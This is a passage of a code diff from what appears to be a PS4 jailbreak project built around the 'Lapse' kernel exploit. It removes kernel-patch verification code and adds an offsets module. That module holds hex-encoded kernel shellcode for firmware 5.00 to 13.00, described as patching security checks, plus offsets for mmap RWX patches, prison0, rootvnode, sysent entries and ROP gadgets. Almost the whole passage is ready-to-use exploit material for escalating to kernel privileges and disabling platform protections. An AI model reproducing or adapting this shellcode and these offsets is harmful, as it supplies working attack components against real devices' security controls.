2 }, - { off: 0x1fa71a, exp: 0x37, name: 'mmap_rwx1', size: 1 }, - { off: 0x1fa71d, exp: 0x37, name: 'mmap_rwx2', size: 1 }, - { off: 0x1102d80, exp: 0x02, name: 'sysent11_narg', size: 4 }, - { off: 0x1102dac, exp: 0x01, name: 'sysent11_thrcnt', size: 4 }, - ] - - for (p of patches_to_verify) { - var actual - if (p.size === 1) { - actual = Number(kernel.read_byte(kernel.addr.base.add(p.off))) - } else if (p.size === 2) { - actual = Number(kernel.read_word(kernel.addr.base.add(p.off))) - } else { - actual = Number(kernel.read_dword(kernel.addr.base.add(p.off))) - } - - if (actual === p.exp) { - debug(' [OK] ' + p.name) - } else { - debug(' [FAIL] ' + p.name + ': expected ' + hex(p.exp) + ', got ' + hex(actual)) - patch_errors++ - } - } - - // Special check for sysent[11] sy_call - should point to jmp [rsi] gadget - const sysent11_call = kernel.read_qword(kernel.addr.base.add(0x1102d88)) - const expected_gadget = kernel.addr.base.add(0x47b31) - if (sysent11_call.eq(expected_gadget)) { - debug(' [OK] sysent11_call -> jmp_rsi @ ' + hex(sysent11_call)) - } else { - debug(' [FAIL] sysent11_call: expected ' + hex(expected_gadget) + ', got ' + hex(sysent11_call)) - patch_errors++ - } - - if (patch_errors === 0) { - debug('All 12.00 kernel patches verified OK!') - } else { - debug('[WARNING] ' + patch_errors + ' kernel patches failed!') - } - } - - // Restore original sysent[661] - debug('Restoring sysent[661]...') - kernel.write_dword(sysent_661_addr, sy_narg) - kernel.write_qword(sysent_661_addr.add(8), sy_call) - kernel.write_dword(sysent_661_addr.add(0x2C), sy_thrcnt) - debug('Restored sysent[661]') - - debug('Kernel patches applied!') - - return true - } catch (e) { - debug('apply_kernel_patches error: ' + e.message) - debug(e.stack) - return false - } -} +import { BigInt, mem, fn, utils, syscalls } from 'download0/types' + +/** *** kernel_offset.js *****/ + +// PS4 Kernel Offsets for Lapse exploit +// Source: https://github.com/Helloyunho/yarpe/blob/main/payloads/lapse.py + +// Kernel patch shellcode (hex strings) - patches security checks in kernel +// These are executed via kexec after jailbreak to enable full functionality +const kpatch_shellcode = { + '5.00': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BFEB04000041B890E9FFFF4881C2A0320100C681BD0A0000EBC6816DA31E00EBC681B1A31E00EBC6812DA41E00EBC68171A41E00EBC6810DA61E00EBC6813DAA1E00EBC681FDAA1E00EBC7819304000000000000C681C5040000EB668981BC0400006689B1B8040000C6817D4A0500EB6689B9F83A1A00664489812A7E2300C78150232B004831C0C3C68110D5130037C68113D5130037C78120C807010200000048899128C80701C7814CC80701010000000F20C0480D000001000F22C031C0C3', + 5.03: 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BFEB04000041B890E9FFFF4881C2A0320100C681BD0A0000EBC6817DA41E00EBC681C1A41E00EBC6813DA51E00EBC68181A51E00EBC6811DA71E00EBC6814DAB1E00EBC6810DAC1E00EBC7819304000000000000C681C5040000EB668981BC0400006689B1B8040000C6817D4A0500EB6689B9083C1A00664489813A7F2300C78120262B004831C0C3C68120D6130037C68123D6130037C78120C807010200000048899128C80701C7814CC80701010000000F20C0480D000001000F22C031C0C3', + '5.50': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C2CCAD0000C681ED0A0000EBC6810D594000EBC68151594000EBC681CD594000EBC681115A4000EBC681BD5B4000EBC6816D604000EBC6813D614000EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681CD070100EB6644898198EE0200664489890A390600C781300140004831C0C3C681D9253C0037C681DC253C0037C781D05E110102000000488991D85E1101C781FC5E1101010000000F20C0480D000001000F22C031C0C3', + 5.53: 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C2CCAD0000C681ED0A0000EBC6810D584000EBC68151584000EBC681CD584000EBC68111594000EBC681BD5A4000EBC6816D5F4000EBC6813D604000EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681CD070100EB6644898198EE0200664489890A390600C781300040004831C0C3C681D9243C0037C681DC243C0037C781D05E110102000000488991D85E1101C781FC5E1101010000000F20C0480D000001000F22C031C0C3', + 5.55: 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C2CCAD0000C681ED0A0000EBC681CD5B4000EBC681115C4000EBC6818D5C4000EBC681D15C4000EBC6817D5E4000EBC6812D634000EBC681FD634000EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681CD070100EB6644898198EE0200664489890A390600C781F00340004831C0C3C68199283C0037C6819C283C0037C781D0AE110102000000488991D8AE1101C781FCAE1101010000000F20C0480D000001000F22C031C0C3', + 5.56: 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C209EF0300C681DD0A0000EBC6814D461100EBC68191461100EBC6810D471100EBC68151471100EBC681FD481100EBC681AD4D1100EBC6817D4E1100EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681ED900200EB6644898158223500664489895AF62700C78110A801004831C0C3C6816D02240037C6817002240037C78150B711010200000048899158B71101C7817CB71101010000000F20C0480D000001000F22C031C0C3', + '6.00': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C209EF0300C681DD0A0000EBC6814D461100EBC68191461100EBC6810D471100EBC68151471100EBC681FD481100EBC681AD4D1100EBC6817D4E1100EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681ED900200EB6644898158223500664489895AF62700C78110A801004831C0C3C6816D02240037C6817002240037C78150B711010200000048899158B71101C7817CB71101010000000F20C0480D000001000F22C031C0C3', + '6.20': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C2AEBC0200C681DD0A0000EBC6814D461100EBC68191461100EBC6810D471100EBC68151471100EBC681FD481100EBC681AD4D1100EBC6817D4E1100EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681ED900200EB6644898178223500664489897AF62700C78110A801004831C0C3C6816D02240037C6817002240037C78150F711010200000048899158F71101C7817CF71101010000000F20C0480D000001000F22C031C0C3', + '6.50': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BF90E9FFFF41B8EB0000006689810EC5630041B9EB00000041BAEB04000041BB90E9FFFFB890E9FFFF4881C24DA31500C681CD0A0000EBC6814D113C00EBC68191113C00EBC6810D123C00EBC68151123C00EBC681FD133C00EBC681AD183C00EBC6817D193C00EB6689B10FCE6300C78190040000000000006689B9C604000066448981BD04000066448989B9040000C68127BB1000EB66448991081A4500664489991E801D00668981AA851D00C781209F41004831C0C3C6817AB50A0037C6817DB50A0037C78110D211010200000048899118D21101C7813CD21101010000000F20C0480D000001000F22C031C0C3', + '6.70': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BF90E9FFFF41B8EB000000668981CEC8630041B9EB00000041BAEB04000041BB90E9FFFFB890E9FFFF4881C25DCF0900C681CD0A0000EBC681FD143C00EBC68141153C00EBC681BD153C00EBC68101163C00EBC681AD173C00EBC6815D1C3C00EBC6812D1D3C00EB6689B1CFD16300C78190040000000000006689B9C604000066448981BD04000066448989B9040000C681D7BE1000EB66448991B81D450066448999CE831D006689815A891D00C781D0A241004831C0C3C6817AB50A0037C6817DB50A0037C78110E211010200000048899118E21101C7813CE21101010000000F20C0480D000001000F22C031C0C3', + '7.00': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BF90E9FFFF41B8EB000000668981CEAC630041B9EB00000041BAEB04000041BB90E9FFFFB890E9FFFF4881C2D2AF0600C681CD0A0000EBC6818DEF0200EBC681D1EF0200EBC6814DF00200EBC68191F00200EBC6813DF20200EBC681EDF60200EBC681BDF70200EB6689B1EFB56300C78190040000000000006689B9C604000066448981BD04000066448989B9040000C681777B0800EB66448991084C260066448999C14E09006689817B540900C781202C2F004831C0C3C68136231D0037C68139231D0037C781705812010200000048899178581201C7819C581201010000000F20C0480D000001000F22C031C0C3', + '7.50': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BF90E9FFFF41B8EB0000006689819473630041B9EB00000041BAEB04000041BB90E9FFFFB890E9FFFF4881C282F60100C681DD0A0000EBC6814DF72800EBC68191F72800EBC6810DF82800EBC68151F82800EBC681FDF92800EBC681ADFE2800EBC6817DFF2800EB6689B1CF7C6300C78190040000000000006689B9C604000066448981BD04000066448989B9040000C68127A33700EB66448991C814300066448999041E4500668981C4234500C781309A02004831C0C3C6817DB10D0037C68180B10D0037C781502512010200000048899158251201C7817C251201010000000F20C0480D000001000F22C031C0C3', + '8.00': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BFEB00000041B8EB00000041B9EB04000041BA90E9FFFF4881C2DC600E0066898154D26200C681CD0A0000EBC6810DE12500EBC68151E12500EBC681CDE12500EBC68111E22500EBC681BDE32500EBC6816DE82500EBC6813DE92500EB6689B13FDB6200C7819004000000000000C681C2040000EB6689B9B904000066448981B5040000C68196D63400EB664489898BC63E0066448991848D3100C6813F953100EBC781C05109004831C0C3C6813AD00F0037C6813DD00F0037C781E0C60F0102000000488991E8C60F01C7810CC70F01010000000F20C0480D000001000F22C031C0C3', + '8.50': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BFEB00000041B8EB00000041B9EB04000041BA90E9FFFF4881C24D7F0C0066898174466200C681CD0A0000EBC6813D403A00EBC68181403A00EBC681FD403A00EBC68141413A00EBC681ED423A00EBC6819D473A00EBC6816D483A00EB6689B15F4F6200C7819004000000000000C681C2040000EB6689B9B904000066448981B5040000C681D6F32200EB66448989DBD614006644899174740100C6812F7C0100EBC78140D03A004831C0C3C681EA26080037C681ED26080037C781D0C70F0102000000488991D8C70F01C781FCC70F01010000000F20C0480D000001000F22C031C0C3', + '9.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2edc5040066898174686200c681cd0a0000ebc681fd132700ebc68141142700ebc681bd142700ebc68101152700ebc681ad162700ebc6815d1b2700ebc6812d1c2700eb6689b15f716200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000eb664489898b0b080066448991c4ae2300c6817fb62300ebc781401b22004831c0c3c6812a63160037c6812d63160037c781200510010200000048899128051001c7814c051001010000000f20c0480d000001000f22c031c0c3', + 9.03: 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c29b30050066898134486200c681cd0a0000ebc6817d102700ebc681c1102700ebc6813d112700ebc68181112700ebc6812d132700ebc681dd172700ebc681ad182700eb6689b11f516200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000eb664489898b0b08006644899194ab2300c6814fb32300ebc781101822004831c0c3c681da62160037c681dd62160037c78120c50f010200000048899128c50f01c7814cc50f01010000000f20c0480d000001000f22c031c0c3', + '9.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2ad580100668981e44a6200c681cd0a0000ebc6810d1c2000ebc681511c2000ebc681cd1c2000ebc681111d2000ebc681bd1e2000ebc6816d232000ebc6813d242000eb6689b1cf536200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68136a51f00eb664489893b6d19006644899124f71900c681dffe1900ebc781601901004831c0c3c6817a2d120037c6817d2d120037c78100950f010200000048899108950f01c7812c950f01010000000f20c0480d000001000f22c031c0c3', + '10.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2f166000066898164e86100c681cd0a0000ebc6816d2c4700ebc681b12c4700ebc6812d2d4700ebc681712d4700ebc6811d2f4700ebc681cd334700ebc6819d344700eb6689b14ff16100c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68156772600eb664489897b20390066448991a4fa1800c6815f021900ebc78140ea1b004831c0c3c6819ad50e0037c6819dd50e0037c781a02f100102000000488991a82f1001c781cc2f1001010000000f20c0480d000001000f22c031c0c3', + '10.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb00000066898113302100b8eb04000041b9eb00000041baeb000000668981ecb2470041bbeb000000b890e9ffff4881c22d0c05006689b1233021006689b94330210066448981b47d6200c681cd0a0000ebc681bd720d00ebc68101730d00ebc6817d730d00ebc681c1730d00ebc6816d750d00ebc6811d7a0d00ebc681ed7a0d00eb664489899f866200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681c6c10800eb668981d42a2100c7818830210090e93c01c78160ab2d004831c0c3c6812ac4190037c6812dc4190037c781d02b100102000000488991d82b1001c781fc2b1001010000000f20c0480d000001000f22c031c0c3', + '11.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981334c1e00b8eb04000041b9eb00000041baeb000000668981ecc8350041bbeb000000b890e9ffff4881c2611807006689b1434c1e006689b9634c1e0066448981643f6200c681cd0a0000ebc6813ddd2d00ebc68181dd2d00ebc681fddd2d00ebc68141de2d00ebc681eddf2d00ebc6819de42d00ebc6816de52d00eb664489894f486200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126154300eb668981f4461e00c781a84c1e0090e93c01c781e08c08004831c0c3c6816a62150037c6816d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3', + 11.02: 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981534c1e00b8eb04000041b9eb00000041baeb0000006689810cc9350041bbeb000000b890e9ffff4881c2611807006689b1634c1e006689b9834c1e0066448981043f6200c681cd0a0000ebc6815ddd2d00ebc681a1dd2d00ebc6811dde2d00ebc68161de2d00ebc6810de02d00ebc681bde42d00ebc6818de52d00eb66448989ef476200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681b6144300eb66898114471e00c781c84c1e0090e93c01c781e08c08004831c0c3c6818a62150037c6818d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3', + '11.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b00b8eb04000041b9eb00000041baeb000000668981acbe2f0041bbeb000000b890e9ffff4881c2150307006689b1b3761b006689b9d3761b0066448981b4786200c681cd0a0000ebc681edd22b00ebc68131d32b00ebc681add32b00ebc681f1d32b00ebc6819dd52b00ebc6814dda2b00ebc6811ddb2b00eb664489899f816200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681a6123900eb66898164711b00c78118771b0090e93c01c78120d63b004831c0c3c6813aa61f0037c6813da61f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3', + '12.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b00b8eb04000041b9eb00000041baeb000000668981ecc02f0041bbeb000000b890e9ffff4881c2717904006689b1b3761b006689b9d3761b0066448981f47a6200c681cd0a0000ebc681cdd32b00ebc68111d42b00ebc6818dd42b00ebc681d1d42b00ebc6817dd62b00ebc6812ddb2b00ebc681fddb2b00eb66448989df836200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681e6143900eb66898164711b00c78118771b0090e93c01c78160d83b004831c0c3c6811aa71f0037c6811da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3', + '12.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981e3761b0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2717904006689b1f3761b006689b913771b0066448981347b6200c681cd0a0000ebc6810dd42b00ebc68151d42b00ebc681cdd42b00ebc68111d52b00ebc681bdd62b00ebc6816ddb2b00ebc6813ddc2b00eb664489891f846200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126153900ebc7812ec12f0000000000668981a4711b00c78158771b0090e93c01c781a0d83b004831c0c3c6815aa71f0037c6815da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3', + '13.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981e3761b0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2717904006689b1f3761b006689b913771b0066448981847b6200c681cd0a0000ebc6812dd42b00ebc68171d42b00ebc681edd42b00ebc68131d52b00ebc681ddd62b00ebc6818ddb2b00ebc6815ddc2b00eb664489896f846200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68146153900ebc7814ec12f0000000000668981a4711b00c78158771b0090e93c01c781c0d83b004831c0c3c6817aa71f0037c6817da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3', +} + +// Mmap RWX patch offsets per firmware (for verification) +// These are the offsets where 0x33 is patched to 0x37 +const kpatch_mmap_offsets: Record = { + // TODO: missing 5.00 to 8.50 + 5.55: [0x3c2899, 0x3c289c], // TODO: verify + 5.56: [0x24026d, 0x240270], // TODO: verify + '6.00': [0x24026d, 0x240270], // TODO: verify + '6.20': [0x24026d, 0x240270], // TODO: verify + '6.50': [0xab57a, 0xab57d], // TODO: verify + '6.70': [0xab57a, 0xab57d], // TODO: verify + '7.00': [0x1d2336, 0x1d2339], // TODO: verify + '7.50': [0xdb17d, 0xdb180], // TODO: verify + '8.00': [0xfd03a, 0xfd03d], // TODO: verify + '8.50': [0x826ea, 0x826ed], // TODO: verify + '9.00': [0x16632a, 0x16632d], // TODO: verify + 9.03: [0x1662da, 0x1662dd], // TODO: verify + '9.50': [0x122d7a, 0x122d7d], // TODO: verify + '10.00': [0xed59a, 0xed59d], // TODO: verify + '10.50': [0x19c42a, 0x19c42d], // TODO: verify + '11.00': [0x15626a, 0x15626d], + 11.02: [0x15628a, 0x15628d], + '11.50': [0x1fa63a, 0x1fa63d], + '12.00': [0x1fa71a, 0x1fa71d], + // TODO: add mmap offsets for 12.50, 12.52, 13.00 +} + +const shellcode_fw_map = { + '5.00': '5.00', + 5.01: '5.00', + 5.03: '5.03', + 5.05: '5.03', + 5.07: '5.03', + '5.50': '5.50', + 5.53: '5.53', + 5.55: '5.55', + 5.56: '5.56', + '6.00': '6.00', + 6.02: '6.00', + '6.20': '6.20', + '6.50': '6.50', + 6.51: '6.50', + '6.70': '6.70', + 6.71: '6.70', + 6.72: '6.70', + '7.00': '7.00', + 7.01: '7.00', + 7.02: '7.00', + '7.50': '7.50', + 7.51: '7.50', + 7.55: '7.50', + '8.00': '8.00', + 8.01: '8.00', + 8.03: '8.00', + '8.50': '8.50', + 8.52: '8.50', + '9.00': '9.00', + 9.03: '9.03', + 9.04: '9.03', + '9.50': '9.50', + 9.51: '9.50', + '9.60': '9.50', + '10.00': '10.00', + 10.01: '10.00', + '10.50': '10.50', + '10.70': '10.50', + 10.71: '10.50', + '11.00': '11.00', + 11.02: '11.02', + '11.50': '11.50', + 11.52: '11.50', + '12.00': '12.00', + 12.02: '12.00', + '12.50': '12.50', + 12.52: '12.50', + '13.00': '13.00', +} + +export function get_mmap_patch_offsets (fw_version: string): [number, number] | null { + // Normalize version + let lookup = fw_version + if (fw_version === '9.04') lookup = '9.03' + else if (fw_version === '9.51' || fw_version === '9.60') lookup = '9.50' + else if (fw_version === '10.01') lookup = '10.00' + else if (fw_version === '10.70' || fw_version === '10.71') lookup = '10.50' + else if (fw_version === '11.52') lookup = '11.50' + else if (fw_version === '12.02') lookup = '12.00' + + return kpatch_mmap_offsets[lookup as keyof typeof kpatch_mmap_offsets] || null +} + +// Helper to convert hex string to byte array +function hexToBytes (hex: string) { + const bytes = [] + for (let i = 0; i < hex.length; i += 2) { + bytes.push(parseInt(hex.slice(i, i + 2), 16)) + } + return bytes +} + +// Get kernel patch shellcode for firmware version +function get_kpatch_shellcode (fw_version: string) { + const hex = kpatch_shellcode[shellcode_fw_map[fw_version as keyof typeof shellcode_fw_map] as keyof typeof kpatch_shellcode] + if (!hex) { + return null + } + return hexToBytes(hex) +} + +// Firmware-specific offsets for PS4 + +const offset_ps4_5_00 = { // AND 5.01 + EVF_OFFSET: 0X7B3ED4, + PRISON0: 0X10986A0, + ROOTVNODE: 0X22C19F0, + SYSENT_661: 0X1084200, + JMP_RSI_GADGET: 0X13460 +} + +const offset_ps4_5_03 = { + EVF_OFFSET: 0X7B42E4, + PRISON0: 0X10986A0, + ROOTVNODE: 0X22C1A70, + SYSENT_661: 0X1084200, + JMP_RSI_GADGET: 0X13460 +} + +const offset_ps4_5_05 = { // AND 5.07 + EVF_OFFSET: 0X7B42A4, + PRISON0: 0X10986A0, + ROOTVNODE: 0X22C1A70, + SYSENT_661: 0X1084200, + JMP_RSI_GADGET: 0X13460 +} + +const offset_ps4_5_50 = { + EVF_OFFSET: 0X80EF12, + PRISON0: 0X1134180, + ROOTVNODE: 0X22EF570, + SYSENT_661: 0X111D8B0, + JMP_RSI_GADGET: 0XAF8C +} + +const offset_ps4_5_53 = { + EVF_OFFSET: 0X80EDE2, + PRISON0: 0X1134180, + ROOTVNODE: 0X22EF570, + SYSENT_661: 0X111D8B0, + JMP_RSI_GADGET: 0XAF8C +} + +const offset_ps4_5_55 = { + EVF_OFFSET: 0X80F482, + PRISON0: 0X1139180, + ROOTVNODE: 0X22F3570, + SYSENT_661: 0X11228B0, + JMP_RSI_GADGET: 0XAF8C +} + +const offset_ps4_5_56 = { + EVF_OFFSET: 0X7C8971, + PRISON0: 0X1139180, + ROOTVNODE: 0X22F3570, + SYSENT_661: 0X1123130, + JMP_RSI_GADGET: 0X3F0C9 +} + +const offset_ps4_6_00 = { // AND 6.02 + EVF_OFFSET: 0X7C8971, + PRISON0: 0X1139458, + ROOTVNODE: 0X21BFAC0, + SYSENT_661: 0X1123130, + JMP_RSI_GADGET: 0X3F0C9 +} + +const offset_ps4_6_20 = { + EVF_OFFSET: 0X7C8E31, + PRISON0: 0X113D458, + ROOTVNODE: 0X21C3AC0, + SYSENT_661: 0X1127130, + JMP_RSI_GADGET: 0X2BE6E +} + +const offset_ps4_6_50 = { + EVF_OFFSET: 0X7C6019, + PRISON0: 0X113D4F8, + ROOTVNODE: 0X2300320, + SYSENT_661: 0X1124BF0, + JMP_RSI_GADGET: 0X15A50D +} + +const offset_ps4_6_51 = { + EVF_OFFSET: 0X7C6099, + PRISON0: 0X113D4F8, + ROOTVNODE: 0X2300320, + SYSENT_661: 0X1124BF0, + JMP_RSI_GADGET: 0X15A50D +} + +const offset_ps4_6_70 = { // AND 6.71, 6.72 + EVF_OFFSET: 0X7C7829, + PRISON0: 0X113E518, + ROOTVNODE: 0X2300320, + SYSENT_661: 0X1125BF0, + JMP_RSI_GADGET: 0X9D11D +} + +const offset_ps4_7_00 = { // AND 7.01, 7.02 + EVF_OFFSET: 0X7F92CB, + PRISON0: 0X113E398, + ROOTVNODE: 0X22C5750, + SYSENT_661: 0X112D250, + JMP_RSI_GADGET: 0X6B192 +} + +const offset_ps4_7_50 = { + EVF_OFFSET: 0X79A92E, + PRISON0: 0X113B728, + ROOTVNODE: 0X1B463E0, + SYSENT_661: 0X1129F30, + JMP_RSI_GADGET: 0X1F842 +} + +const offset_ps4_7_51 = { // AND 7.55 + EVF_OFFSET: 0X79A96E, + PRISON0: 0X113B728, + ROOTVNODE: 0X1B463E0, + SYSENT_661: 0X1129F30, + JMP_RSI_GADGET: 0X1F842 +} + +const offset_ps4_8_00 = { // AND 8.01, 8.02, 8.03 + EVF_OFFSET: 0X7EDCFF, + PRISON0: 0X111A7D0, + ROOTVNODE: 0X1B8C730, + SYSENT_661: 0X11040C0, + JMP_RSI_GADGET: 0XE629C +} + +const offset_ps4_8_50 = { // AND 8.52 + EVF_OFFSET: 0X7DA91C, + PRISON0: 0X111A8F0, + ROOTVNODE: 0X1C66150, + SYSENT_661: 0X11041B0, + JMP_RSI_GADGET: 0XC810D +} + +const offset_ps4_9_00 = { + EVF_OFFSET: 0x7F6F27, + PRISON0: 0x111F870, + ROOTVNODE: 0x21EFF20, + TARGET_ID_OFFSET: 0x221688D, + SYSENT_661: 0x1107F00, + JMP_RSI_GADGET: 0x4C7AD, + KL_LOCK: 0x3977F0, + +} + +const offset_ps4_9_03 = { + EVF_OFFSET: 0x7F4CE7, + PRISON0: 0x111B840, + ROOTVNODE: 0x21EBF20, + TARGET_ID_OFFSET: 0x221288D, + SYSENT_661: 0x1103F00, + JMP_RSI_GADGET: 0x5325B, + KL_LOCK: 0x3959F0, +} + +const offset_ps4_9_50 = { + EVF_OFFSET: 0x769A88, + PRISON0: 0x11137D0, + ROOTVNODE: 0x21A6C30, + TARGET_ID_OFFSET: 0x221A40D, + SYSENT_661: 0x1100EE0, + JMP_RSI_GADGET: 0x15A6D, + KL_LOCK: 0x85EE0, +} + +const offset_ps4_10_00 = { + EVF_OFFSET: 0x7B5133, + PRISON0: 0x111B8B0, + ROOTVNODE: 0x1B25BD0, + TARGET_ID_OFFSET: 0x1B9E08D, + SYSENT_661: 0x110A980, + JMP_RSI_GADGET: 0x68B1, + KL_LOCK: 0x45B10, +} + +const offset_ps4_10_50 = { + EVF_OFFSET: 0x7A7B14, + PRISON0: 0x111B910, + ROOTVNODE: 0x1BF81F0, + TARGET_ID_OFFSET: 0x1BE460D, + SYSENT_661: 0x110A5B0, + JMP_RSI_GADGET: 0x50DED, + KL_LOCK: 0x25E330, +} + +const offset_ps4_11_00 = { + EVF_OFFSET: 0x7FC26F, + PRISON0: 0x111F830, + ROOTVNODE: 0x2116640, + TARGET_ID_OFFSET: 0x221C60D, + SYSENT_661: 0x1109350, + JMP_RSI_GADGET: 0x71A21, + KL_LOCK: 0x58F10, +} + +const offset_ps4_11_02 = { + EVF_OFFSET: 0x7FC22F, + PRISON0: 0x111F830, + ROOTVNODE: 0x2116640, + TARGET_ID_OFFSET: 0x221C60D, + SYSENT_661: 0x1109350, + JMP_RSI_GADGET: 0x71A21, + KL_LOCK: 0x58F10, +} + +const offset_ps4_11_50 = { + EVF_OFFSET: 0x784318, + PRISON0: 0x111FA18, + ROOTVNODE: 0x2136E90, + TARGET_ID_OFFSET: 0x21CC60D, + SYSENT_661: 0x110A760, + JMP_RSI_GADGET: 0x704D5, + KL_LOCK: 0xE6C20, +} + +const offset_ps4_12_00 = { // AND 12.02 + EVF_OFFSET: 0x784798, + PRISON0: 0x111FA18, + ROOTVNODE: 0x2136E90, + TARGET_ID_OFFSET: 0x21CC60D, + SYSENT_661: 0x110A760, + JMP_RSI_GADGET: 0x47B31, + KL_LOCK: 0xE6C20, +} + +const offset_ps4_12_50 = { // AND 12.52, 13.00 + EVF_OFFSET: 0x0, // Missing but not needed in netctrl + PRISON0: 0x111FA18, + ROOTVNODE: 0x2136E90, + TARGET_ID_OFFSET: 0x0, // Missing but not needed in netctrl + SYSENT_661: 0x110A760, + JMP_RSI_GADGET: 0x47B31, + KL_LOCK: 0xE6C20, +} + +// Map firmware versions to offset objects +export const ps4_kernel_offset_list = { + '5.00': offset_ps4_5_00, + 5.01: offset_ps4_5_00, + 5.03: offset_ps4_5_03, + 5.05: offset_ps4_5_05, + 5.07: offset_ps4_5_05, + '5.50': offset_ps4_5_50, + 5.53: offset_ps4_5_53, + 5.55: offset_ps4_5_55, + 5.56: offset_ps4_5_56, + '6.00': offset_ps4_6_00, + 6.02: offset_ps4_6_00, + '6.20': offset_ps4_6_20, + '6.50': offset_ps4_6_50, + 6.51: offset_ps4_6_51, + '6.70': offset_ps4_6_70, + 6.71: offset_ps4_6_70, + 6.72: offset_ps4_6_70, + '7.00': offset_ps4_7_00, + 7.01: offset_ps4_7_00, + 7.02: offset_ps4_7_00, + '7.50': offset_ps4_7_50, + 7.51: offset_ps4_7_51, + 7.55: offset_ps4_7_51, + '8.00': offset_ps4_8_00, + 8.01: offset_ps4_8_00, + 8.02: offset_ps4_8_00, + 8.03: offset_ps4_8_00, + '8.50': offset_ps4_8_50, + 8.52: offset_ps4_8_50, + '9.00': offset_ps4_9_00, + 9.03: offset_ps4_9_03, + 9.04: offset_ps4_9_03, + '9.50': offset_ps4_9_50, + 9.51: offset_ps4_9_50, + '9.60': offset_ps4_9_50, + '10.00': offset_ps4_10_00, + 10.01: offset_ps4_10_00, + '10.50': 